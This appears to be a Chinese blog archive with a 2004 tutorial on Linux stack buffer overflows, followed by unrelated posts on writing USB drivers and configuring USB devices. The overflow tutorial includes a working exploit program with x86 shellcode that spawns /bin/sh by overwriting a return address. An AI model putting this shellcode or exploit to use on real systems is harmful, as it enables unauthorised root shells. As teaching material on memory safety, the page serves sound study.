2004年12月22日

Linux下栈溢出的原理及利用


作者:xinhe


1、进程空间的内存分布


一个程序在运行时系统会给这个程序分配4GB的虚拟内存,而这4GB有2GB是共享的,内核可以访问,


还有2GB是进程独占的,而程序又分为程序段,数据段,堆栈段。动态数据都是通过堆栈段来存放。


其分布如下:


内存高端


+——————-+


| 程序段 |


+——————-+


| 数据段 |


+——————-+


| 堆 栈 |


+——————-+


内存低端



而堆栈段的分布又如下:


内存高端


+——————-+


| 函数栈 |


+——————-+


| 函数栈 |


+——————-+


| ——- |


+——————-+


| 堆 |


+——————-+


内存低端



2、程序对堆栈的使用


程序每调用一个函数,就会在堆栈里申请一定的空间,我们把这个空间称为函数栈,而随着函数调用层数的


增加, 函数栈一块块地从高端内存向低端内存地址方向延伸.反之,随着进程中函数调用层数的减少, 即各


函数调用的返回, 函数栈会一块块地被遗弃而向内存的高址方向回缩.各函数的栈大小随着函数的性质的不


同而不等, 由函数的局部变量的数目决定。


进程对内存的动态申请是发生在Heap(堆)里的. 也就是说, 随着系统动态分配给进程的内存数量的增加,


Heap(堆)有可能向高址或低址延伸, 依赖于不同CPU的实现. 但一般来说是向内存的高地址方向增长的。


当发生函数调用时,先将函数的参数压入栈中,然后将函数的返回地址压入栈中,这里的返回地址通常是


Call的下一条指令的地址。


这里结合一个实例来说明这一过程:


写这么一个程序



代码::


 //test.c


 #include<stdio.h>


  int fun(char *str)


  {


   char buffer[10];


   strcpy(buffer,str);


   printf(“%s”,buffer);


   return 0;


  }


  int main(int argc,char **argv)


  {


   int i=0;


   char *str;


   str=argv[1];


   fun(str);


   return 0;


  }




编译 gcc -g -o test test.c


然后用GDB来进来调试


gdb test


反汇编main函数



代码::


0×080483db <main+0>:    push   %ebp


0×080483dc <main+1>:    mov    %esp,%ebp


0×080483de <main+3>:    sub    $0×8,%esp


0×080483e1 <main+6>:    and    $0xfffffff0,%esp


0×080483e4 <main+9>:    mov    $0×0,%eax


0×080483e9 <main+14>:   sub    %eax,%esp


0×080483eb <main+16>:   movl   $0×0,0xfffffffc(%ebp)


0×080483f2 <main+23>:   mov    0xc(%ebp),%eax


0×080483f5 <main+26>:   add    $0×4,%eax


0×080483f8 <main+29>:   mov    (%eax),%eax


0×080483fa <main+31>:   mov    %eax,0xfffffff8(%ebp)


0×080483fd <main+34>:   sub    $0xc,%esp


0×08048400 <main+37>:   pushl  0xfffffff8(%ebp)


0×08048403 <main+40>:   call   0×80483a8 <fun>


0×08048408 <main+45>:   add    $0×10,%esp


0×0804840b <main+48>:   mov    $0×0,%eax


0×08048410 <main+53>:   leave


0×08048411 <main+54>:   ret




注意这一行


0×08048403 <main+40>: call 0×80483a8 <fun>


这一行是调用fun函数,而下一行的指令地址为:0×08048408,也就是说当fun调用完以后要返回0×08048408


在原程序的第14行设置断点


b 14


run AAAA


这时,程序装运行到函数调用之前,看一下寄存器的地址


i reg



代码::


eax            0xbffffaa7       -1073743193


ecx            0xbffff960       -1073743520


edx            0xbffff954       -1073743532


ebx            0×4014effc       1075113980


esp            0xbffff8c0       0xbffff8c0


ebp            0xbffff8c8       0xbffff8c8


esi            0×2      2


edi            0×401510fc       1075122428


eip            0×80483fd        0×80483fd


eflags         0×200282 2097794


cs             0×73     115


ss             0×7b     123


ds             0×7b     123


es             0×7b     123


fs             0×0      0


gs             0×33     51




这里我们需要关心的寄存器主要主esp(栈顶指针),ebp(栈底指针),eip(指令指针)


看一下esp里的数据


x/8x $esp



代码::


0xbffff8c0:     0xbffffaa7      0×00000000      0xbffff928      0×4004cad4


0xbffff8d0:     0×00000002      0xbffff954      0xbffff960      0×40037090




再看一下str的地址


print str


$1 = 0xbffffaa7 “AAAA”


因为str就是命令行里的参数,很明显,这里调了main函数时后首先是参数地址被压入栈里。


然后单步执行程序后再看寄存器


si


si


si


i reg



代码::


eax            0xbffffaa7       -1073743193


ecx            0xbffff960       -1073743520


edx            0xbffff954       -1073743532


ebx            0×4014effc       1075113980


esp            0xbffff8ac       0xbffff8ac


ebp            0xbffff8c8       0xbffff8c8


esi            0×2      2


edi            0×401510fc       1075122428


eip            0×80483a8        0×80483a8


eflags         0×200396 2098070


cs             0×73     115


ss             0×7b     123


ds             0×7b     123


es             0×7b     123


fs             0×0      0


gs             0×33     51




我们发现esp的值变了,看看压进去了些什么东西


x/8x $esp



代码::


0xbffff8ac:     0×08048408      0xbffffaa7      0×4014effc      0×00000000


0xbffff8bc:     0×4014effc      0xbffffaa7      0×00000000      0xbffff928




这里我很可以很清楚的看到调用过程


首先把参数地址0xbffffaa7压入栈内,然后把返回地址0×08048408压入栈内


接着往下看


我们把fun函数也反汇编出来


disas fun



代码::


0×080483a8 <fun+0>:     push   %ebp


0×080483a9 <fun+1>:     mov    %esp,%ebp


0×080483ab <fun+3>:     sub    $0×18,%esp


0×080483ae <fun+6>:     sub    $0×8,%esp


0×080483b1 <fun+9>:     pushl  0×8(%ebp)


0×080483b4 <fun+12>:    lea    0xffffffe8(%ebp),%eax


0×080483b7 <fun+15>:    push   %eax


0×080483b8 <fun+16>:    call   0×80482e8 <_init+72>


0×080483bd <fun+21>:    add    $0×10,%esp


0×080483c0 <fun+24>:    sub    $0×8,%esp


0×080483c3 <fun+27>:    lea    0xffffffe8(%ebp),%eax


0×080483c6 <fun+30>:    push   %eax


0×080483c7 <fun+31>:    push   $0×80484e8


0×080483cc <fun+36>:    call   0×80482d8 <_init+56>


0×080483d1 <fun+41>:    add    $0×10,%esp


0×080483d4 <fun+44>:    mov    $0×0,%eax


0×080483d9 <fun+49>:    leave


0×080483da <fun+50>:    ret




再继续往下执行


si


si


si


x/16x $esp



代码::


0xbffff890:     0×08048414      0×080495d0      0xbffff8a8      0×080482b5


0xbffff8a0:     0×00000000      0×00000000      0xbffff8c8      0×08048408


0xbffff8b0:     0xbffffaa7      0×4014effc      0×00000000      0×4014effc


0xbffff8c0:     0xbffffaa7      0×00000000      0xbffff928      0×4004cad4




print &buffer


$7 = (char (*)[10]) 0xbffff890



这里可以看出,程序以为buffer分配了空间,而且空间大小为24字节。


程序继续执行


next


x/16x $esp



代码::


0xbffff890:     0×41414141      0×08049500      0xbffff8a8      0×080482b5


0xbffff8a0:     0×00000000      0×00000000      0xbffff8c8      0×08048408


0xbffff8b0:     0xbffffaa7      0×4014effc      0×00000000      0×4014effc


0xbffff8c0:     0xbffffaa7      0×00000000      0xbffff928      0×4004cad4




从这里我们可以看出从0xbffff890这个地址开始(也是buffer的地址)开始向高端内存填充,这里填充了


4个”A”A的ACSII码为41



3.其于栈的缓冲区溢出


我们还是接着这个程序来分析


我们定义buffer时是要求分配10字节的空间,而程序实际可分配了24个字节的空间,在strcpy执行时


向buffer里拷贝A时并未检查长度,如果我们向buffer里拷贝的A如果超过24个字节,就会产生溢出。


如果向buffer里拷贝的A的长度够长,把返回地址0×08048408覆盖了的话程序就会出错。一般会报段


错误或者非法指令,如果返回地址无法访问,则产生段误,如果不可执行则视为非法指令。



4.其于栈的缓冲区溢出利用。


既然我们可能覆盖返回地址,也就意味着我们可以控制程序的流程,如果这个返回地址正好是一个shellcode


的入口,那么就可以利用这个有溢出的程序来获得一个shell。


下面我们就写一个exploit来攻击这个程序



代码::


  //test_exploit.c


  #include<stdio.h>


  #include<unistd.h>


  char shellCode[] = “\x31\xdb\x89\xd8\xb0\x17\xcd\x80″


                     ”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c”


                     ”\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb”


                     ”\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh”;


  int main()


  {


   char str[]=”AAAAAAAAAA”


              ”AAAAAAAAAA”


              ”AAAAAAAAAA”


              ”AAAAA”;


    *(int *)&str[28]=(int)shellCode;


    char *arg[]={“./test”,str,NULL};   


    execve(arg[0],arg,NULL);


   return 0;


  } 




这里我们把str的第28、29、30、31节字里存放shellCode的地址,因为从上面的分析我们得知返回地址在


距buffer偏移为28的地方。


编译这个程序


gcc -g -o test_exploit test_exploit.c


执行,哈哈,我们期待的shellCode出现了。

2004年08月16日

前言

在上篇《Linux下的硬件驱动–USB设备(上)(驱动配制部分)》中,我们知道了在Linux下如何去使用一些最常见的USB设备。但对于做系统设计的程序员来说,这是远远不够的,我们还需要具有驱动程序的阅读、修改和开发能力。在此下篇中,就是要通过简单的USB驱动的例子,随您一起进入USB驱动开发的世界。

USB驱动开发

在掌握了USB设备的配置后,对于程序员,我们就可以尝试进行一些简单的USB驱动的修改和开发了。这一段落,我们会讲解一个最基础USB框架的基础上,做两个小的USB驱动的例子。

USB骨架

在Linux kernel源码目录中driver/usb/usb-skeleton.c为我们提供了一个最基础的USB驱动程序。我们称为USB骨架。通过它我们仅需要修改极少的部分,就可以完成一个USB设备的驱动。我们的USB驱动开发也是从她开始的。

那些linux下不支持的USB设备几乎都是生产厂商特定的产品。如果生产厂商在他们的产品中使用自己定义的协议,他们就需要为此设备创建特定的驱动程序。当然我们知道,有些生产厂商公开他们的USB协议,并帮助Linux驱动程序的开发,然而有些生产厂商却根本不公开他们的USB协议。因为每一个不同的协议都会产生一个新的驱动程序,所以就有了这个通用的USB驱动骨架程序, 它是以pci 骨架为模板的。

如果你准备写一个linux驱动程序,首先要熟悉USB协议规范。USB主页上有它的帮助。一些比较典型的驱动可以在上面发现,同时还介绍了USB urbs的概念,而这个是usb驱动程序中最基本的。

Linux USB 驱动程序需要做的第一件事情就是在Linux USB 子系统里注册,并提供一些相关信息,例如这个驱动程序支持那种设备,当被支持的设备从系统插入或拔出时,会有哪些动作。所有这些信息都传送到USB 子系统中,在usb骨架驱动程序中是这样来表示的:

 static struct usb_driver skel_driver = { name: "skeleton", probe: skel_probe, disconnect: skel_disconnect, fops: &skel_fops, minor: USB_SKEL_MINOR_BASE, id_table: skel_table, }; 

变量name是一个字符串,它对驱动程序进行描述。probe 和disconnect 是函数指针,当设备与在id_table 中变量信息匹配时,此函数被调用。

fops和minor变量是可选的。大多usb驱动程序钩住另外一个驱动系统,例如SCSI,网络或者tty子系统。这些驱动程序在其他驱动系统中注册,同时任何用户空间的交互操作通过那些接口提供,比如我们把SCSI设备驱动作为我们USB驱动所钩住的另外一个驱动系统,那么我们此USB设备的read、write等操作,就相应按SCSI设备的read、write函数进行访问。但是对于扫描仪等驱动程序来说,并没有一个匹配的驱动系统可以使用,那我们就要自己处理与用户空间的read、write等交互函数。Usb子系统提供一种方法去注册一个次设备号和file_operations函数指针,这样就可以与用户空间实现方便地交互。

USB骨架程序的关键几点如下:

  1. USB驱动的注册和注销

    Usb驱动程序在注册时会发送一个命令给usb_register,通常在驱动程序的初始化函数里。

    当要从系统卸载驱动程序时,需要注销usb子系统。即需要usb_unregister 函数处理:

     static void __exit usb_skel_exit(void) { /* deregister this driver with the USB subsystem */ usb_deregister(&skel_driver); } module_exit(usb_skel_exit); 

    当usb设备插入时,为了使linux-hotplug(Linux中PCI、USB等设备热插拔支持)系统自动装载驱动程序,你需要创建一个MODULE_DEVICE_TABLE。代码如下(这个模块仅支持某一特定设备):

     /* table of devices that work with this driver */ static struct usb_device_id skel_table [] = { { USB_DEVICE(USB_SKEL_VENDOR_ID, USB_SKEL_PRODUCT_ID) }, { } /* Terminating entry */ }; MODULE_DEVICE_TABLE (usb, skel_table); 

    USB_DEVICE宏利用厂商ID和产品ID为我们提供了一个设备的唯一标识。当系统插入一个ID匹配的USB设备到USB总线时,驱动会在USB core中注册。驱动程序中probe 函数也就会被调用。usb_device 结构指针、接口号和接口ID都会被传递到函数中。

     static void * skel_probe(struct usb_device *dev, unsigned int ifnum, const struct usb_device_id *id) 

    驱动程序需要确认插入的设备是否可以被接受,如果不接受,或者在初始化的过程中发生任何错误,probe函数返回一个NULL值。否则返回一个含有设备驱动程序状态的指针。通过这个指针,就可以访问所有结构中的回调函数。

    在骨架驱动程序里,最后一点是我们要注册devfs。我们创建一个缓冲用来保存那些被发送给usb设备的数据和那些从设备上接受的数据,同时USB urb 被初始化,并且我们在devfs子系统中注册设备,允许devfs用户访问我们的设备。注册过程如下:

     /* initialize the devfs node for this device and register it */ sprintf(name, "skel%d", skel->minor); skel->devfs = devfs_register (usb_devfs_handle, name, DEVFS_FL_DEFAULT, USB_MAJOR, USB_SKEL_MINOR_BASE + skel->minor, S_IFCHR | S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH, &skel_fops, NULL); 

    如果devfs_register函数失败,不用担心,devfs子系统会将此情况报告给用户。

    当然最后,如果设备从usb总线拔掉,设备指针会调用disconnect 函数。驱动程序就需要清除那些被分配了的所有私有数据、关闭urbs,并且从devfs上注销调自己。

     /* remove our devfs node */ devfs_unregister(skel->devfs); 

    现在,skeleton驱动就已经和设备绑定上了,任何用户态程序要操作此设备都可以通过file_operations结构所定义的函数进行了。首先,我们要open此设备。在open函数中MODULE_INC_USE_COUNT 宏是一个关键,它的作用是起到一个计数的作用,有一个用户态程序打开一个设备,计数器就加一,例如,我们以模块方式加入一个驱动,若计数器不为零,就说明仍然有用户程序在使用此驱动,这时候,你就不能通过rmmod命令卸载驱动模块了。

     /* increment our usage count for the module */ MOD_INC_USE_COUNT; ++skel->open_count; /* save our object in the file's private structure */ file->private_data = skel; 

    当open完设备后,read、write函数就可以收、发数据了。

  2. skel的write、和read函数

    他们是完成驱动对读写等操作的响应。

    在skel_write中,一个FILL_BULK_URB函数,就完成了urb 系统callbak和我们自己的skel_write_bulk_callback之间的联系。注意skel_write_bulk_callback是中断方式,所以要注意时间不能太久,本程序中它就只是报告一些urb的状态等。

    read 函数与write 函数稍有不同在于:程序并没有用urb 将数据从设备传送到驱动程序,而是我们用usb_bulk_msg 函数代替,这个函数能够不需要创建urbs 和操作urb函数的情况下,来发送数据给设备,或者从设备来接收数据。我们调用usb_bulk_msg函数并传提一个存储空间,用来缓冲和放置驱动收到的数据,若没有收到数据,就失败并返回一个错误信息。

  3. usb_bulk_msg函数

    当对usb设备进行一次读或者写时,usb_bulk_msg 函数是非常有用的; 然而, 当你需要连续地对设备进行读/写时,建议你建立一个自己的urbs,同时将urbs 提交给usb子系统。

  4. skel_disconnect函数

    当我们释放设备文件句柄时,这个函数会被调用。MOD_DEC_USE_COUNT宏会被用到(和MOD_INC_USE_COUNT刚好对应,它减少一个计数器),首先确认当前是否有其它的程序正在访问这个设备,如果是最后一个用户在使用,我们可以关闭任何正在发生的写,操作如下:

     /* decrement our usage count for the device */ --skel->open_count; if (skel->open_count <= 0) { /* shutdown any bulk writes that might be going on */ usb_unlink_urb (skel->write_urb); skel->open_count = 0; } /* decrement our usage count for the module */ MOD_DEC_USE_COUNT; 

    最困难的是,usb 设备可以在任何时间点从系统中取走,即使程序目前正在访问它。usb驱动程序必须要能够很好地处理解决此问题,它需要能够切断任何当前的读写,同时通知用户空间程序:usb设备已经被取走。

    如果程序有一个打开的设备句柄,在当前结构里,我们只要把它赋值为空,就像它已经消失了。对于每一次设备读写等其它函数操作,我们都要检查usb_device结构是否存在。如果不存在,就表明设备已经消失,并返回一个-ENODEV错误给用户程序。当最终我们调用release 函数时,在没有文件打开这个设备时,无论usb_device结构是否存在、它都会清空skel_disconnect函数所作工作。

    Usb 骨架驱动程序,提供足够的例子来帮助初始人员在最短的时间里开发一个驱动程序。更多信息你可以到linux usb开发新闻组去寻找。

U盘、USB读卡器、MP3、数码相机驱动

对于一款windows下用的很爽的U盘、USB读卡器、MP3或数码相机,可能Linux下却不能支持。怎么办?其实不用伤心,也许经过一点点的工作,你就可以很方便地使用它了。通常是此U盘、USB读卡器、MP3或数码相机在WindowsXP中不需要厂商专门的驱动就可以识别为移动存储设备,这样的设备才能保证成功,其他的就看你的运气了。

USB存储设备,他们的read、write等操作都是通过上章节中提到的钩子,把自己的操作钩到SCSI设备上去的。我们就不需要对其进行具体的数据读写处理了。

第一步:我们通过cat /proc/bus/usb/devices得到当前系统探测到的USB总线上的设备信息。它包括Vendor、ProdID、Product等。下面是我买的一款杂牌CF卡读卡器插入后的信息片断:

 T: Bus=01 Lev=01 Prnt=01 Port=01 Cnt=02 Dev#= 5 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=8 #Cfgs= 1 P: Vendor=07c4 ProdID=a400 Rev= 1.13 S: Manufacturer=USB S: Product=Mass Storage C:* #Ifs= 1 Cfg#= 1 Atr=80 MxPwr=70mA I: If#= 0 Alt= 0 #EPs= 2 Cls=08(vend.) Sub=06 Prot=50 Driver=usb-storage E: Ad=81(I) Atr=02(Bulk) MxPS= 64 Ivl= 0ms E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl= 0ms 

其中,我们最关心的是Vendor=07c4 ProdID=a400和Manufacturer=USB(果然是杂牌,厂商名都看不到)Product= Mass Storage。

对于这些移动存储设备,我们知道Linux下都是通过usb-storage.o驱动模拟成scsi设备去支持的,之所以不支持,通常是usb-storage驱动未包括此厂商识别和产品识别信息(在类似skel_probe的USB最初探测时被屏蔽了)。对于USB存储设备的硬件访问部分,通常是一致的。所以我们要支持它,仅需要修改usb-storage中关于厂商识别和产品识别列表部分。

第二部,打开drivers/usb/storage/unusual_devs.h文件,我们可以看到所有已知的产品登记表,都是以UNUSUAL_DEV(idVendor, idProduct, bcdDeviceMin, bcdDeviceMax, vendor_name, product_name, use_protocol, use_transport, init_function, Flags)方式登记的。其中相应的涵义,你就可以根据命名来判断了。所以只要我们如下填入我们自己的注册,就可以让usb-storage驱动去认识和发现它。

 UNUSUAL_DEV(07c4, a400, 0x0000, 0xffff, " USB ", " Mass Storage ", US_SC_SCSI, US_PR_BULK, NULL, US_FL_FIX_INQUIRY | US_FL_START_STOP |US_FL_MODE_XLATE ) 

注意:添加以上几句的位置,一定要正确。比较发现,usb-storage驱动对所有注册都是按idVendor, idProduct数值从小到大排列的。我们也要放在相应位置。

最后,填入以上信息,我们就可以重新编译生成内核或usb-storage.o模块。这时候插入我们的设备就可以跟其他U盘一样作为SCSI设备去访问了。

键盘飞梭支持

目前很多键盘都有飞梭和手写板,下面我们就尝试为一款键盘飞梭加入一个驱动。在通常情况,当我们插入USB接口键盘时,在/proc/bus/usb/devices会看到多个USB设备。比如:你的USB键盘上的飞梭会是一个,你的手写板会是一个,若是你的USB键盘有USB扩展连接埠,也会看到。

下面是具体看到的信息

 T: Bus=02 Lev=00 Prnt=00 Port=00 Cnt=00 Dev#= 1 Spd=12 MxCh= 2 B: Alloc= 11/900 us ( 1%), #Int= 1, #Iso= 0 D: Ver= 1.00 Cls=09(hub ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=0000 ProdID=0000 Rev= 0.00 S: Product=USB UHCI Root Hub S: SerialNumber=d800 C:* #Ifs= 1 Cfg#= 1 Atr=40 MxPwr= 0mA I: If#= 0 Alt= 0 #EPs= 1 Cls=09(hub ) Sub=00 Prot=00 Driver=hub E: Ad=81(I) Atr=03(Int.) MxPS= 8 Ivl=255ms T: Bus=02 Lev=01 Prnt=01 Port=01 Cnt=01 Dev#= 3 Spd=12 MxCh= 3 D: Ver= 1.10 Cls=09(hub ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=07e4 ProdID=9473 Rev= 0.02 S: Manufacturer=ALCOR S: Product=Movado USB Keyboard C:* #Ifs= 1 Cfg#= 1 Atr=e0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 1 Cls=09(hub ) Sub=00 Prot=00 Driver=hub E: Ad=81(I) Atr=03(Int.) MxPS= 1 Ivl=255ms 

找到相应的信息后就可开始工作了。实际上,飞梭的定义和键盘键码通常是一样的,所以我们参照drivers/usb/usbkbd..c代码进行一些改动就可以了。因为没能拿到相应的硬件USB协议,我无从知道飞梭在按下时通讯协议众到底发什么,我只能把它的信息打出来进行分析。幸好,它比较简单,在下面代码的usb_kbd_irq函数中if(kbd->new[0] == (char)0×01)和if(((kbd->new[1]>>4)&0×0f)!=0×7)就是判断飞梭左旋。usb_kbd_irq函数就是键盘中断响应函数。他的挂接,就是在usb_kbd_probe函数中

 FILL_INT_URB(&kbd->irq, dev, pipe, kbd->new, maxp > 8 ? 8 : maxp, usb_kbd_irq, kbd, endpoint->bInterval); 

一句中实现。

从usb骨架中我们知道,usb_kbd_probe函数就是在USB设备被系统发现是运行的。其他部分就都不是关键了。你可以根据具体的探测值(Vendor=07e4 ProdID=9473等)进行一些修改就可以了。值得一提的是,在键盘中断中,我们的做法是收到USB飞梭消息后,把它模拟成左方向键和右方向键,在这里,就看你想怎么去响应它了。当然你也可以响应模拟成F14、F15等扩展键码。

在了解了此基本的驱动后,对于一个你已经拿到通讯协议的键盘所带手写板,你就应该能进行相应驱动的开发了吧。

程序见附录1:键盘飞梭驱动。

使用此驱动要注意的问题:在加载此驱动时你必须先把hid设备卸载,加载完usbhkey.o模块后再加载hid.o。因为若hid存在,它的probe会屏蔽系统去利用我们的驱动发现我们的设备。其实,飞梭本来就是一个hid设备,正确的方法,或许你应该修改hid的probe函数,然后把我们的驱动融入其中。

参考资料

  1. 《LINUX设备驱动程序》
    ALESSANDRO RUBINI著
    LISOLEG 译
  2. 《Linux系统分析与高级编程技术》
    周巍松 编著
  3. Linux Kernel-2.4.20源码和文档说明

附录1:键盘飞梭驱动

 #include <linux/kernel.h> #include <linux/slab.h> #include <linux/module.h> #include <linux/input.h> #include <linux/init.h> #include <linux/usb.h> #include <linux/kbd_ll.h> /* * Version Information */ #define DRIVER_VERSION "" #define DRIVER_AUTHOR "TGE HOTKEY " #define DRIVER_DESC "USB HID Tge hotkey driver" #define USB_HOTKEY_VENDOR_ID 0x07e4 #define USB_HOTKEY_PRODUCT_ID 0x9473 //厂商和产品ID信息就是/proc/bus/usb/devices中看到的值 MODULE_AUTHOR( DRIVER_AUTHOR ); MODULE_DESCRIPTION( DRIVER_DESC ); struct usb_kbd { struct input_dev dev; struct usb_device *usbdev; unsigned char new[8]; unsigned char old[8]; struct urb irq, led; // devrequest dr; //这一行和下一行的区别在于kernel2.4.20版本对usb_kbd键盘结构定义发生了变化 struct usb_ctrlrequest dr; unsigned char leds, newleds; char name[128]; int open; }; //此结构来自内核中drivers/usb/usbkbd..c static void usb_kbd_irq(struct urb *urb) { struct usb_kbd *kbd = urb->context; int *new; new = (int *) kbd->new; if(kbd->new[0] == (char)0x01) { if(((kbd->new[1]>>4)&0x0f)!=0x7) { handle_scancode(0xe0,1); handle_scancode(0x4b,1); handle_scancode(0xe0,0); handle_scancode(0x4b,0); } else { handle_scancode(0xe0,1); handle_scancode(0x4d,1); handle_scancode(0xe0,0); handle_scancode(0x4d,0); } } printk("new=%x %x %x %x %x %x %x %x", kbd->new[0],kbd->new[1],kbd->new[2],kbd->new[3], kbd->new[4],kbd->new[5],kbd->new[6],kbd->new[7]); } static void *usb_kbd_probe(struct usb_device *dev, unsigned int ifnum, const struct usb_device_id *id) { struct usb_interface *iface; struct usb_interface_descriptor *interface; struct usb_endpoint_descriptor *endpoint; struct usb_kbd *kbd; int pipe, maxp; iface = &dev->actconfig->interface[ifnum]; interface = &iface->altsetting[iface->act_altsetting]; if ((dev->descriptor.idVendor != USB_HOTKEY_VENDOR_ID) || (dev->descriptor.idProduct != USB_HOTKEY_PRODUCT_ID) || (ifnum != 1)) { return NULL; } if (dev->actconfig->bNumInterfaces != 2) { return NULL; } if (interface->bNumEndpoints != 1) return NULL; endpoint = interface->endpoint + 0; pipe = usb_rcvintpipe(dev, endpoint->bEndpointAddress); maxp = usb_maxpacket(dev, pipe, usb_pipeout(pipe)); usb_set_protocol(dev, interface->bInterfaceNumber, 0); usb_set_idle(dev, interface->bInterfaceNumber, 0, 0); printk(KERN_INFO "GUO: Vid = %.4x, Pid = %.4x, Device = %.2x, ifnum = %.2x, bufCount = %.8x\\n", dev->descriptor.idVendor,dev->descriptor.idProduct,dev->descriptor.bcdDevice, ifnum, maxp); if (!(kbd = kmalloc(sizeof(struct usb_kbd), GFP_KERNEL))) return NULL; memset(kbd, 0, sizeof(struct usb_kbd)); kbd->usbdev = dev; FILL_INT_URB(&kbd->irq, dev, pipe, kbd->new, maxp > 8 ? 8 : maxp, usb_kbd_irq, kbd, endpoint->bInterval); kbd->irq.dev = kbd->usbdev; if (dev->descriptor.iManufacturer) usb_string(dev, dev->descriptor.iManufacturer, kbd->name, 63); if (usb_submit_urb(&kbd->irq)) { kfree(kbd); return NULL; } printk(KERN_INFO "input%d: %s on usb%d:%d.%d\\n", kbd->dev.number, kbd->name, dev->bus->busnum, dev->devnum, ifnum); return kbd; } static void usb_kbd_disconnect(struct usb_device *dev, void *ptr) { struct usb_kbd *kbd = ptr; usb_unlink_urb(&kbd->irq); kfree(kbd); } static struct usb_device_id usb_kbd_id_table [] = { { USB_DEVICE(USB_HOTKEY_VENDOR_ID, USB_HOTKEY_PRODUCT_ID) }, { } /* Terminating entry */ }; MODULE_DEVICE_TABLE (usb, usb_kbd_id_table); static struct usb_driver usb_kbd_driver = { name: "Hotkey", probe: usb_kbd_probe, disconnect: usb_kbd_disconnect, id_table: usb_kbd_id_table, NULL, }; static int __init usb_kbd_init(void) { usb_register(&usb_kbd_driver); info(DRIVER_VERSION ":" DRIVER_DESC); return 0; } static void __exit usb_kbd_exit(void) { usb_deregister(&usb_kbd_driver); } module_init(usb_kbd_init); module_exit(usb_kbd_exit); 

USB设备越来越多,而Linux在硬件配置上仍然没有做到完全即插即用,对于Linux怎样配置和使用他们,也越来越成为困扰我们的一大问题。本文分两部分着力从Linux系统下设备驱动的架构,去阐述怎样去使用和配置以及怎样编制USB设备驱动。对于一般用户,可以使我们明晰Linux设备驱动方式,为更好地配置和使用USB设备提供了方便;而对于希望开发Linux系统下USB设备驱动的程序员,提供了初步学习USB驱动架构的机会。

前言

USB是英文”Universal Serial Bus”的缩写,意为”通用串行总线”。是由Compaq(康柏)、DEC、IBM、Intel、NEC、微软以及Northern Telecom(北方电讯)等公司于1994年11月共同提出的,主要目的就是为了解决接口标准太多的弊端。USB使用一个4针插头作为标准插头,并通过这个标准接头,采用菊花瓣形式把所有外设连接起来,它采用串行方式传输数据,目前最大数据传输率为12Mbps, 支持多数据流和多个设备并行操作,允许外设热插拔。

目前USB接口虽然只发展了2代(USB1.0/1.1,USB2.0),但是USB综合了一个多平台标准的所有优点 — 包括降低成本,增加兼容性,可连接大量的外部设备,融合先进的功能和品质。使其逐步成为PC接口标准,进入了高速发展期。

那么对于使用Linux系统,正确支持和配置常见的USB设备,就是其使用必不可少的关键一步。

相关技术基础

模块(驱动程序)

模块(module)是在内核空间运行的程序,实际上是一种目标对象文件,没有链接,不能独立运行,但是可以装载到系统中作为内核的一部分运行,从而可以动态扩充内核的功能。模块最主要的用处就是用来实现设备驱动程序。

Linux下对于一个硬件的驱动,可以有两种方式:直接加载到内核代码中,启动内核时就会驱动此硬件设备。另一种就是以模块方式,编译生成一个.o文件。当应用程序需要时再加载进内核空间运行。所以我们所说的一个硬件的驱动程序,通常指的就是一个驱动模块。

设备文件

对于一个设备,它可以在/dev下面存在一个对应的逻辑设备节点,这个节点以文件的形式存在,但它不是普通意义上的文件,它是设备文件,更确切的说,它是设备节点。这个节点是通过mknod命令建立的,其中指定了主设备号和次设备号。主设备号表明了某一类设备,一般对应着确定的驱动程序;次设备号一般是区分不同属性,例如不同的使用方法,不同的位置,不同的操作。这个设备号是从/proc/devices文件中获得的,所以一般是先有驱动程序在内核中,才有设备节点在目录中。这个设备号(特指主设备号)的主要作用,就是声明设备所使用的驱动程序。驱动程序和设备号是一一对应的,当你打开一个设备文件时,操作系统就已经知道这个设备所对应的驱动程序。

SCSI 设备

SCSI是有别于IDE的一个计算机标准接口。现在大部分平板式扫描仪、CD-R刻录机、MO光磁盘机等渐渐趋向使用SCSI接口,加之SCSI又能提供一个高速传送通道,所以,接触到SCSI设备的用户会越来越多。Linux支持很多种的SCSI设备,例如:SCSI硬盘、SCSI光驱、SCSI磁带机。更重要的是,Linux提供了IDE设备对SCSI的模拟(ide-scsi.o模块),我们通常会就把IDE光驱模拟为SCSI光驱进行访问。因为在Linux中很多软件都只能操作SCSI光驱。例如大多数刻录软件、一些媒体播放软件。通常我们的USB存储设备,也模拟为SCSI硬盘而进行访问。

Linux硬件驱动架构

对于一个硬件,Linux是这样来进行驱动的:首先,我们必须提供一个.o的驱动模块文件(这里我们只说明模块方式,其实内核方式是类似的)。我们要使用这个驱动程序,首先要加载运行它(insmod *.o)。这样驱动就会根据自己的类型(字符设备类型或块设备类型,例如鼠标就是字符设备而硬盘就是块设备)向系统注册,注册成功系统会反馈一个主设备号,这个主设备号就是系统对它的唯一标识(例如硬盘块设备在/proc/devices中显示的主设备号为3 ,我们用ls -l /dev/had看到的主设备就肯定是3)。驱动就是根据此主设备号来创建一个一般放置在/dev目录下的设备文件(mknod命令用来创建它,它必须用主设备号这个参数)。在我们要访问此硬件时,就可以对设备文件通过open、read、write等命令进行。而驱动就会接收到相应的read、write操作而根据自己的模块中的相应函数进行了。

其中还有几个比较有关系的东西:一个是/lib/modules/2.4.XX目录,它下面就是针对当前内核版本的模块。只要你的模块依赖关系正确(可以通过depmod设置),你就可以通过modprobe 命令加载而不需要知道具体模块文件位置。 另一个是/etc/modules.conf文件,它定义了一些常用设备的别名。系统就可以在需要此设备支持时,正确寻找驱动模块。例如alias eth0 e100,就代表第一块网卡的驱动模块为e100.o。他们的关系图如下:

配置USB设备

内核中配置.

